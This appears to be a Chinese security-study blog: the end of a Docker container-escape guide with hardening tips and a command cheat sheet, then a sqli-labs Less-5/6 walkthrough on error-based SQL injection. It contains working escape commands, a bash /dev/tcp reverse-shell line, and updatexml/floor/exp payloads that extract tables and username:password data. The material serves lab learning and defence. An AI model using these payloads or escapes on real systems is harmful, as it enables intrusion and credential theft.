| HackTheBox | https://www.hackthebox.com/ | 真实渗透测试环境 |
| TryHackMe | https://tryhackme.com/ | 有Docker逃逸专项练习 |
| CTFShow | https://ctf.show/ | 国内CTF平台，有容器逃逸题 |
| BUUCTF | https://buuoj.cn/ | 有Docker相关题目 |

### 6.3 推荐的练习顺序

1. **先学判断**：练习如何判断自己在容器里
2. **特权模式**：最简单的逃逸方式，先练这个
3. **docker.sock**：理解Docker通信机制
4. **procfs**：理解Linux proc文件系统
5. **远程API**：理解网络层面的风险
6. **CVE漏洞**：进阶，理解底层原理

---

## 七、Docker逃逸防御措施

### 7.1 最小权限原则

```bash
# 不要用特权模式
docker run --privileged=true ... # ❌ 危险！

# 限制Capabilities
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ... # ✅ 安全
```

### 7.2 不要挂载敏感文件

```bash
# 不要挂载这些：
/var/run/docker.sock # ❌
/proc # ❌
/ # ❌（宿主机根目录）
/dev/sda* # ❌（磁盘设备）
```

### 7.3 启用User Namespace

```bash
# /etc/docker/daemon.json
{
 "userns-remap": "default"
}
```

### 7.4 限制Docker API访问

```bash
# 只监听本地Unix Socket
# /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock # ✅
# 不要加 -H tcp://0.0.0.0:2375 # ❌
```

### 7.5 定期更新

```bash
# 保持Docker和内核最新
sudo apt-get update && sudo apt-get upgrade docker.io
```

### 7.6 使用安全扫描工具

```bash
# 扫描镜像漏洞
docker scan 镜像名

# 运行时安全监控（如Falco）
```

---

## 八、总结速查表

| 逃逸方式 | 判断条件 | 核心利用命令 | 难度 |
|---------|---------|------------|------|
| 特权模式 | CapEff=3fffffffff | mount + chroot | ⭐ |
| docker.sock | 存在/var/run/docker.sock | docker run -v /:/host | ⭐⭐ |
| procfs挂载 | 两个core_pattern | 修改core_pattern触发崩溃 | ⭐⭐⭐ |
| 远程API | 2375端口开放 | docker -H tcp://... | ⭐⭐ |
| SSH公钥 | 挂载宿主机根目录 | 写入authorized_keys | ⭐⭐ |
| 定时任务 | 挂载宿主机根目录 | 写入/etc/crontab | ⭐⭐ |
| CVE漏洞 | 特定版本 | 利用脚本 | ⭐⭐⭐⭐ |

---

## 九、常用命令速记

```bash
# ========== 信息收集 ==========
ls -al / # 看.dockerenv
cat /proc/1/cgroup # 看docker标识
hostname # 看容器ID
cat /proc/self/status | grep CapEff # 看特权模式
ls -lah /var/run/docker.sock # 看docker.sock
find / -name core_pattern # 看procfs挂载
fdisk -l # 看磁盘设备
cat /proc/mounts | grep docker # 看挂载路径

# ========== 特权模式逃逸 ==========
mkdir /host && mount /dev/sda5 /host
chroot /host

# ========== docker.sock逃逸 ==========
docker run -it -v /:/host ubuntu /bin/bash
chroot /host

# ========== procfs逃逸 ==========
echo "|/path/to/exp.sh" > /proc/sys/kernel/core_pattern
sleep 10 &; kill -SIGSEGV $!

# ========== 远程API逃逸 ==========
docker -H tcp://IP:2375 run -it -v /:/host ubuntu /bin/bash

# ========== 反弹shell ==========
bash -i >& /dev/tcp/IP/PORT 0>&1
nc -lvvp PORT # 攻击机监听
```

---

> **免责声明**：本笔记仅供学习交流使用，请勿用于非法用途。进行安全测试前请确保获得授权。

总结的别的文章docker逃逸的方法

布尔盲注

> **报错函数注入**（无回显位场景）、**常见报错信息含义**


---

## 先区分两种"报错注入"

**Less-1/2 按照注入手法可以说是有回显位报错注入**，页面能把查询结果显示出来，用 `union select` 就能拿到数据。

还有一种情况：**页面没有回显位**，只显示 "You are in..." 或者不显示具体内容，这时候就要用**报错函数**把数据"挤"在错误信息里返回。

![图片.png](/static/img/a4aa8691fa03380ac38bc2e82f03ea01.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

| 类型 | 代表关卡 | 页面特征 | 手法 |
|:---|:---|:---|:---|
| **联合查询+回显** | Less-1/2/3/4/11 | 显示用户名密码 | `union select` |
| **报错函数（无回显）** | Less-5/6/13/14 | 只显示固定文字或报错 | `updatexml()` / `extractvalue()` / `floor()` |

## 一、源码整体结构

```
用户输入 id → 拼接到 SQL → 执行查询 → 查到数据？→ 是：只显示 "You are in..."
 → 否：显示 MySQL 报错信息
```
`核心特征：查到数据时不显示具体内容，只显示固定文字；查不到时才显示报错。`


```php
error_reporting(0);
```
第3行：关闭 PHP 错误报告。这意味着 PHP 自己的报错不会显示，但 MySQL 的报错还会显示（后面看 mysql_error()）。

```php
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
```
第5-7行：从 URL 获取 id 参数，直接赋值给 $id，没有任何过滤。


```php
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```
第14行：核心漏洞！ 和 Less-1 一样，$id 被单引号包裹，直接拼接进 SQL。
```php
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
```
第15-16行：执行 SQL，获取结果。

```php
if($row)
	{
 	echo '';	
 	echo 'You are in...........';
 	echo " ";
 	echo "";
 	}
```
	

第18-23行：**查到数据时，只显示 You are in...........，不显示用户名密码！**


```php
else 
	{
	echo '';
	print_r(mysql_error());
	echo "";	
	echo '';	
	}
```
	

第25-31行：查不到数据时，调用 mysql_error() 打印 MySQL 错误信息！
这就是报错注入的入口：

---

## 二、报错函数详解

### 2.1 updatexml() 

**MySQL 函数原型**：
```sql
updatexml(XML_document, XPath_string, new_value)
```

**正常用途**：修改 XML 文档中某个节点的值

**注入用法**：让第二个参数（XPath）包含非法字符（如 `~`），触发 XPath 语法错误，错误信息里就会包含我们拼接的数据。

**Payload 模板**：
```sql
?id=1' and updatexml(1, concat(0x7e, (SELECT 要查的数据), 0x7e), 1) --+
```

**拆解**：
| 部分 | 含义 |
|:---|:---|
| `1` | 第一个参数，随便写 |
| `concat(0x7e, ..., 0x7e)` | `0x7e` 是 `~` 的十六进制，`~` 在 XPath 中是非法字符 |
| `(SELECT 要查的数据)` | 子查询，把数据查出来 |
| `1` | 第三个参数，随便写 |

**实际效果**：
```
XPATH syntax error: '~security~'
```
数据库名 `security` 就藏在报错信息里返回了。

**Less-5 完整流程**：
```sql
-- 爆库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

-- 爆表名（有长度限制 32 字符，超长的用 substr 分段）
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

-- 如果显示不全，分段取
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+

-- 爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+

-- 爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+
```

---

### 2.2 extractvalue() —— 和 updatexml 几乎一样

**函数原型**：
```sql
extractvalue(XML_document, XPath_string)
```

**原理**：同样利用 XPath 语法错误

**Payload**：
```sql
?id=1' and extractvalue(1, concat(0x7e, database(), 0x7e)) --+

```
**XPath 非法字符**
| 字符 | 十六进制 | 效果 |
| :-- | :----- | :---------------------------- |
| `~` | `0x7e` | **最常用**，肉眼好辨认 |
| `!` | `0x21` | 可以 |
| `#` | `0x23` | 可以 |
| `$` | `0x24` | 可以 |

![图片.png](/static/img/2aa2f8e24c88eae06ab53ed48d4cd37d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

**效果**：和 `updatexml` 一模一样，只是少一个参数。

---

### 2.3 floor()

**原理**：利用 `rand()` 随机数 + `group by` 分组 + `count(*)` 计数，制造"主键重复"错误。

**Payload**：
```sql
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
```

**拆解**：
| 部分 | 作用 |
|:---|:---|
| `rand(0)*2` | 生成 0 或 1 的伪随机数（种子固定，结果可预测）|
| `floor(rand(0)*2)` | 取整，得到 0 或 1 |
| `concat(database(), floor(...))` | 把库名和 0/1 拼接 |
| `group by x` | 按拼接结果分组 |
| `count(*)` | 计数 |
| `select 1 from (...)a` | 把结果当成一个表，起别名 `a` |

**为什么报错？**
`rand()` 在 `group by` 执行过程中会被计算多次，导致同一个键值被插入两次，触发 `Duplicate entry` 错误。


:::tip{title="提示"}

### 整个语句的骨架
```sql
?id=1' and (select 1 from ( ... ) a) --+
```
- `?id=1'` 闭合前面的单引号。
- `and (select 1 from (...) a)` 这是一个**布尔条件**，`and` 后面的东西需要被执行。这里用了一个子查询，我们并不关心 `select 1` 的查询结果，只关心**它在执行过程中会不会报错**。
- `--+` 注释掉后面的多余字符（等同于 `-- `）。

真正的戏法在中间那个子查询里。

---

### 核心炸弹：`concat(database(), floor(rand(0)*2))`
https://blog.csdn.net/miraclehw/article/details/129250360

把两部分拼起来：
1. `database()` —— 你当前所在的数据库名字，比如 `security`。
2. `floor(rand(0)*2)` —— 一个固定的随机数序列，只会产生 **0 1之间的数字**。



于是 `concat` 拼出的字符串就类似：
```
security0
security1
security1
security0
...
```

---

### 引爆机制：`group by` 与临时表主键
完整子查询：
```sql
select count(*), concat(database(), floor(rand(0)*2)) as x 
from information_schema.tables 
group by x
```

**`information_schema.tables`** 是 MySQL 自带的系统表，里面有很多行，我们只是拿它当“计数器”，利用它有很多行数据来触发计算。

`group by x` 会根据 `x` 的值进行分组，它在背后会**创建一个临时表**，临时表的主键就是 `x`（分组字段）。

关键点：在往临时表插入分组值时，`rand()` 会被**重复计算**，导致同一个 `x` 值被尝试插入两次。

---

### 重复冲突是怎么发生的？
假设 `concat(database(), floor(rand(0)*2))` 中 `database()` = `security`，`floor(rand(0)*2)` 的固定序列是 `0, 1, 1, 0, 1...`

| 步骤 | 动作 | 第几次 rand | 计算结果 | 虚拟表里有吗？ | 实际操作 |
|------|------|-----------|---------|-------------|---------|
| **第1条** | 抬头查 key | 第1次 | `security0` | ❌ 没有 | 决定插入 |
| | 插入写 key | 第2次 | `security1` | — | **写入 `security1`** |
| **第2条** | 抬头查 key | 第3次 | `security1` | ✅ 有！ | **count+1，不插入** |
| **第3条** | 抬头查 key | 第4次 | `security0` | ❌ 没有 | 决定插入 |
| | 插入写 key | 第5次 | `security1` | ✅ **已有！** | **💥 报错！** |

报错信息：
```
Duplicate entry 'security1' for key '<group_key>'
```

`security` 就是数据库名，从报错里读出来了。


---

### 为什么用 `select 1 from (...) a`
外层的 `select 1` 只是为了给子查询包一层壳，让它成为一个合法的标量子查询，可以被 `and` 执行。其实你也可以写成：
```sql
and (select count(*) from (...) a)
```
效果一样，只要子查询被执行，炸弹就会引爆，错误就会显示在页面上。

---

### 一句话总结
这个注入语句就是： 
**把数据库名和固定随机数粘在一起，利用 `group by` 临时表主键的特性和 `rand()` 的多次计算，故意制造“主键重复”错误，让报错信息里带上数据库名。** 

:::


**报错效果**：
```
Duplicate entry 'security1' for key 'group_key'
```

---

### 2.4 exp() —— 数值溢出报错
**MySQL > 5.5.53 之后，exp() 报错注入在命令行里还能用，但在 Web 应用/PHP 环境下可能不显示具体值**

**原理**：`exp()` 计算 e 的 x 次方，当 x 太大时数值溢出报错。

**Payload**：
```sql
?id=1' and exp(~(select * from (select database())a)) --+
```

**拆解**：
| 部分 | 作用 |
|:---|:---|
| `~` | 按位取反，把正数变成极大负数 |
| `exp(极大负数)` | 理论上趋近于 0，但 MySQL 内部处理时溢出 |
| `select * from (select database())a` | 子查询，把数据包一层 |

**效果**：
```
DOUBLE value is out of range in 'exp(~((select 'security' from dual)))'
```

---

### 2.5 报错函数对比表

| 函数 | 参数个数 | 原理 | 长度限制 | 适用场景 |
|:---|:---|:---|:---|:---|
| `updatexml()` | 3 | XPath 语法错误 | 32 字符 | **最常用**，首选 |
| `extractvalue()` | 2 | XPath 语法错误 | 32 字符 | 和 updatexml 等价 |
| `floor()` | 复杂 | 主键重复 | 无 | 数据很长时分段不方便时 |
| `exp()` | 1 | 数值溢出 | 无 | 绕过某些过滤 |


---

## 三、常见报错信息含义

| 报错信息 | 出现场景 | 深层含义 | 怎么解决 |
|:---|:---|:---|:---|
| `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1` | 输入 `'` 后 | 单引号没闭合，后面空了。`near ''` 指多余的那个引号后面啥也没有 | 加 `--+` 注释掉后面 |
| `You have an error in your SQL syntax ... near '1'' LIMIT 0,1'` | 输入 `1'` 后 | 字符型注入，`1'` 闭合了前面的引号，但后面还有一个多余的 `'` | 确认字符型，加注释 |
| `Unknown column '4' in 'order clause'` | `order by 4` | 表只有 3 列，你按第 4 列排序不存在 | 用二分法（1,2,4,8...）确定列数 |
| `The used SELECT statements have a different number of columns` | `union select` 列数不对 | Union 前后两张表列数不一致 | `order by` 确定正确列数后再 union |
| `Operand should contain 1 column(s)` | 子查询返回多列 | 用 `=` 比较时右边子查询返回了多列 | 子查询只查一列，或用 `limit 0,1` |
| `Subquery returns more than 1 row` | 子查询返回多行 | 用 `=` 比较时右边有多条结果 | 加 `limit 0,1` 或改用 `group_concat()` |
| `XPATH syntax error: '~xxx~'` | `updatexml` / `extractvalue` | **正常报错注入结果**，数据在 `~` 之间 | 提取 `~` 之间的数据 |
| `Duplicate entry 'xxx' for key 'group_key'` | `floor()` 报错 | **正常报错注入结果**，数据在单引号里 | 提取单引号里的数据 |
| `DOUBLE value is out of range` | `exp()` 报错 | **正常报错注入结果**，数据在报错信息里 | 提取数据 |

---

## 四、有回显 vs 无回显：Payload 对比

假设要查数据库名 `security`：

| 场景 | 手法 | Payload | 结果在哪 |
|:---|:---|:---|:---|
| **有回显位**（Less-1） | Union | `?id=-1' union select 1,database(),3 --+` | 页面正常显示 |
| **无回显位**（Less-5） | updatexml | `?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+` | 报错信息里 |
| **无回显位**（Less-5） | floor | `?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+` | 报错信息里 |

**核心区别**：有回显用 `union select` 直接显示，无回显用报错函数"借尸还魂"把数据藏在错误里。

---

## 五、updatexml 长度限制问题

**updatexml 和 extractvalue 的返回结果最多 32 个字符**，如果数据太长会截断。

**解决方案**：

```sql
-- 方法1：substr 分段取
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),63,31),0x7e),1) --+

-- 方法2：用 mid() 函数（和 substr 一样）
?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+

-- 方法3：换 floor() 或 exp()（无长度限制）
```

---

## 六、Less-5/6 快速通关模板

```sql
-- Step 1: 确认注入点
?id=1' --+ → 页面显示 "You are in..." → 字符型
?id=1" --+ → 页面显示 "You are in..." → 双引号字符型（Less-6）

-- Step 2: 爆库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

-- Step 3: 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

-- Step 4: 爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+

-- Step 5: 爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+
```

---

## 七、记忆口诀

> **有回显**：union select 直接看
> **无回显**：报错函数来帮忙
> **updatexml**：三参数，中间 XPath 放数据
> **extractvalue**：两参数，和上面一样
> **floor**：rand + group by，主键重复报错忙
> **长度超了怎么办**：substr 分段慢慢查

---